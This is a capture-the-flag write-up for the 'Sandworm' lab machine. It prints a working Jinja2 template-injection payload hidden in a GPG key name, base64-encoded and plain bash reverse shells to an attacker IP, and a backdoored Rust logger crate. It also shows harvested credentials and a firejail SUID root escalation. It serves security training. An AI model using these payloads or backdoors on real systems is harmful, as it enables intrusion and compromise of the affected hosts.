Sandworm

Table of Contents

Introduction


The Sandworm machine required the enumeration of its services, ultimately leading us to discover an HTTP service. This service had a SSTI vulnerability, granting us access to a restricted shell. Through this shell, we managed to obtain hardcoded credentials, allowing us to pivot into other accounts via SSH. With the newly acquired access, we hijacked a crate utilized by a service, enabling us to attain a shell as the user—similar to the initial reverse shell, but now unrestricted. Leveraging this unrestricted shell, we exploited an SUID binary, successfully achieving root access.

Recon

The HTTP service has as its domain ssa.htb, by changing the /etc/hosts file, we will be able to reach it.

nmap (TCP all ports)

nmap finds three open TCP ports, SSH (22), HTTP server (80), and a unknow Service (9093):

$ nmap -p- 10.129.34.160
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-19 15:28 WEST
Nmap scan report for 10.129.34.160
Host is up (0.055s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 30.87 seconds
$

nmap (found TCP ports exploration)

$ nmap -sC -sV 10.129.34.160 -p 22,80,43
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-19 15:30 WEST
Nmap scan report for ssa.htb (10.129.34.160)
Host is up (0.047s latency).

PORT   STATE  SERVICE VERSION
22/tcp open   ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
43/tcp closed whois
80/tcp open   http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
$

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Landing page

The following landing page is presented to us after arriving at the root directory for the ssa.htb domain.

The service seems enable user to contact a secret agency through encrypted messages.

Shell as atlas (restricted)


SSTI

The guide page enables users to encrypt and/or verify a signature of messages. The verification of messages is done with user provided information, this information might not be sanitized, enabling an attacker to render user controlled information.

SSTI Check

To test the sanatization, we will make a simple SSTI payload: {{7*7}} enabling us to check if the user provided input is sanitized and if it isn’t, enable us to know the framework being used. For this I used the gpg tool to generate the following key:

$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{7*7}}
Email address: [email protected]
You selected this USER-ID:
    "{{7*7}} <[email protected]>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
public and secret key created and signed.

pub   rsa3072 2023-06-19 [SC] [expires: 2025-06-18]
      05765D6E03A4C4C3F5B61B3B9C8163BB713140FF
uid                      {{7*7}} <[email protected]>
sub   rsa3072 2023-06-19 [E] [expires: 2025-06-18]
$ gpg --armor --export [email protected] > public_key.asc
$ cat public_key.asc 
-----BEGIN PGP PUBLIC KEY BLOCK-----
<SNIP>
-----END PGP PUBLIC KEY BLOCK-----
$ cat test 
hi
$ gpg --output signed_file.asc --armor --sign test
$ cat signed_file.asc 
-----BEGIN PGP MESSAGE-----
<SNIP>
-----END PGP MESSAGE-----
$ 

After uploading it to the service and verifying it we can see that the Good signature from "49" shows us that we are dealing with the jinja2 template engine and that the vulnerable parameter is the Real name:

Reverse Shell

With this in mind we can try to achieve a reverse shell, this is due to the jinja2 engine running arbitrary python code provided by the user. To achieve this we create a new key as follows:

$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS45Mi85MDAxIDA+JjE=" | base64 -d | bash').read()}}
Email address: [email protected]
You selected this USER-ID:
    "{{cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS45Mi85MDAxIDA+JjE=" | base64 -d | bash').read()}} <[email protected]>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
public and secret key created and signed.

pub   rsa3072 2023-06-19 [SC] [expires: 2025-06-18]
      04675F1A9D9469A8C2D8355F2ECB46DE13508B61
uid                      {{cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS45Mi85MDAxIDA+JjE=" | base64 -d | bash').read()}} <[email protected]>
sub   rsa3072 2023-06-19 [E] [expires: 2025-06-18]

$ gpg --armor --export [email protected] > key.asc
$ gpg --output test.asc --armor --sign test
$ cat key.asc 
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQGNBGSQoYYBDADUZ78SIk0bQhFW9L/s8iE4yu046cgR0VstEwqJp/BLzQ6gQJib
<SNIP>
=YC3V
-----END PGP PUBLIC KEY BLOCK-----
$ cat test.asc 
-----BEGIN PGP MESSAGE-----

<SNIP>
=99z6
-----END PGP MESSAGE-----
$ 

Now if we listen on our machine we are able to retrieve a shell as the user atlas:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.88.43 41992
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
atlas@sandworm:/var/www/html/SSA$

Shell as silentobserver

The shell we landed previously is very restricted, it seems we are inside of a jail. The next step therefore is try to jailbreak.

Hardcoded Credentials

By enumerating the system with the user atlas, we are able to see that a .config file is present. Within that file there is a httpie configuration file for this host. Within this configuration file we are able to retrieve a set of hardcoded credentials:

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ 

Credentials found

silentobserver:quietLiketheWind22

SSH

SSH login with found credentials

By using the found credentials found for the user silentobserver we can successfully login through SSH:

$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jun 20 08:54:40 AM UTC 2023

  System load:           0.13916015625
  Usage of /:            77.4% of 11.65GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             219
  Users logged in:       0
  IPv4 address for eth0: 10.129.33.163
  IPv6 address for eth0: dead:beef::250:56ff:fe96:524


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 12 12:03:09 2023 from 10.10.14.31
silentobserver@sandworm:~$ 

Shell as atlas (unrestricted)


tipnet service

By checking with the tool pspy the processes being run on the machine we can see that /opt/tipnet is being run and that we have read and write permission to the service:

silentobserver@sandworm:~$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2023/06/20 09:20:11 CMD: UID=0     PID=10014  | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet
<SNIP>
silentobserver@sandworm:~$ ls -la /opt/tipnet/target/debug/tipnet 
-rwsrwxr-x 2 atlas atlas 59047248 Jun  6 10:00 /opt/tipnet/target/debug/tipnet
silentobserver@sandworm:~$

The source code for the service is the following:

silentobserver@sandworm:/opt/tipnet/src$ cat main.rs 
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,
}

fn main() {
    println!("                                                     
             ,,                                      
MMP\"\"MM\"\"YMM db          `7MN.   `7MF'         mm    
P'   MM   `7               MMN.    M           MM    
     MM    `7MM `7MMpdMAo. M YMb   M  .gP\"Ya mmMMmm  
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    
     MM      MM   MM    M8 M   `MM.M 8M\"\"\"\"\"\"  MM    
     MM      MM   MM   ,AP M     YMM YM.    ,  MM    
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo 
                  MM                                 
                .JMML.                               

");


    let mode = get_mode();
    
    if mode == "" {
      return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();


    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" {
        println!("[-] No keywords selected.\n\n[-] Quitting...\n");
        return;
    }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username 
    let output = Command::new("/usr/bin/whoami")
        .output()
        .expect("nobody");

    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }

    logger::log(username, keywords.as_str().trim(), justification.as_str());

    search_sigint(&mut conn, keywords.as_str().trim());

}

fn get_mode() -> String {

  let valid = false;
  let mut mode = String::new();

  while ! valid {
    mode.clear();

    println!("Select mode of usage:");
    print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");

    io::stdin().read_line(&mut mode).unwrap();

    match mode.trim() {
      "a" => {
            println!("\n[+] Upstream selected");
            return "upstream".to_string();
      }
      "b" => {
            println!("\n[+] Muscular selected");
            return "regular".to_string();
      }
      "c" => {
            println!("\n[+] Tempora selected");
            return "emperor".to_string();
      }
      "d" => {
        println!("\n[+] PRISM selected");
        return "square".to_string();
      }
      "e" => {
        println!("\n[!] Refreshing indeces!");
        return "pull".to_string();
      }
      "q" | "Q" => {
        println!("\n[-] Quitting");
        return "".to_string();
      }
      _ => {
        println!("\n[!] Invalid mode: {}", mode);
      }
    }
  }
  return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
    let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
    let pool = Pool::new(url).unwrap();
    let mut conn = pool.get_conn().unwrap();
    return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
    let keywords: Vec<&str> = keywords.split(" ").collect();
    let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

    for (i, keyword) in keywords.iter().enumerate() {
        if i > 0 {
            query.push_str("OR ");
        }
        query.push_str(&format!("data LIKE '%{}%' ", keyword));
    }
    let selected_entries = conn.query_map(
        query,
        |(timestamp, target, source, data)| {
            Entry { timestamp, target, source, data }
        },
        ).expect("Query failed.");
    for e in selected_entries {
        println!("[{}] {} ===> {} | {}",
                 e.timestamp, e.source, e.target, e.data);
    }
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
    let paths = fs::read_dir(directory)
        .unwrap()
        .filter_map(|entry| entry.ok())
        .filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
        .map(|entry| entry.path());

    let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
        .unwrap();
    let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
        .unwrap();

    let now = Utc::now();

    for path in paths {
        let contents = fs::read_to_string(path).unwrap();
        let hash = Sha256::digest(contents.as_bytes());
        let hash_hex = hex::encode(hash);

        let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
        if existing_entry.is_none() {
            let date = now.format("%Y-%m-%d").to_string();
            println!("[+] {}\n", contents);
            conn.exec_drop(&stmt_insert, params! {
                "timestamp" => date,
                "data" => contents,
                "hash" => &hash_hex,
                },
                ).unwrap();
        }
    }
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");

}

silentobserver@sandworm:/opt/tipnet/src$ 

Crate hijacking

One interesting import is the crate logger being used, this is because we have write access to it:

silentobserver@sandworm:/opt/crates$ ls -la
total 12
drwxr-xr-x 3 root  atlas          4096 May  4 17:26 .
drwxr-xr-x 4 root  root           4096 Jun 20 09:38 ..
drwxr-xr-x 5 atlas silentobserver 4096 May  4 17:08 logger
silentobserver@sandworm:/opt/crates$

With this in mind we can just change the crate so that the function being called from it (log()), calls a reverse shell to our host. To do this we write the following:

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let command = "bash -i >& /dev/tcp/10.10.15.92/9001 0>&1";

    let output = Command::new("bash")
        .arg("-c")
        .arg(command)
        .output()
        .expect("not work");

    if output.status.success() {
        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);

        println!("standar output: {}", stdout);
        println!("error output: {}", stderr);
    } else {
        let stderr = String::from_utf8_lossy(&output.stderr);
        eprintln!("Error: {}", stderr);
    }

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

Now if we compile it again, our crate will be used instead of the old one:

silentobserver@sandworm:/opt/crates/logger/src$ vim lib.rs 
silentobserver@sandworm:/opt/crates/logger/src$ cd ..
silentobserver@sandworm:/opt/crates/logger$ cargo build
   Compiling autocfg v1.1.0
   Compiling libc v0.2.142
   Compiling num-traits v0.2.15
   Compiling num-integer v0.1.45
   Compiling time v0.1.45
   Compiling iana-time-zone v0.1.56
   Compiling chrono v0.4.24
   Compiling logger v0.1.0 (/opt/crates/logger)
    Finished dev [unoptimized + debuginfo] target(s) in 8.41s
silentobserver@sandworm:/opt/crates/logger$ 

Reverse shell

By now listening on our machine, we are able to catch a reverse shell, this one being unrestricted:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.33.163 51118
bash: cannot set terminal process group (10830): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ 

Shell as root


SUID Firejail

By enumerating the target once again, we can see that the previous jail used was firejail, and that it’s being run with the SUID bit set:

atlas@sandworm:~$ ls -la /usr/local/bin/firejail
ls -la /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 /usr/local/bin/firejail

Privilege escalation

This is a vector for privilege escalation, by using the following POC we are able to achieve a root shell:

atlas@sandworm:~$ cd /tmp
atlas@sandworm:/tmp$ vim exploit.py
atlas@sandworm:/tmp$ python3 exploit.py 
You can now run 'firejail --join=11809' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

Now if we just run the provided commands we are root:

atlas@sandworm:/tmp$ firejail --join=11809
changing root to /proc/11809/root
Warning: cleaning all supplementary groups
Child process initialized in 8.33 ms
atlas@sandworm:/tmp$ su -
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)
root@sandworm:~#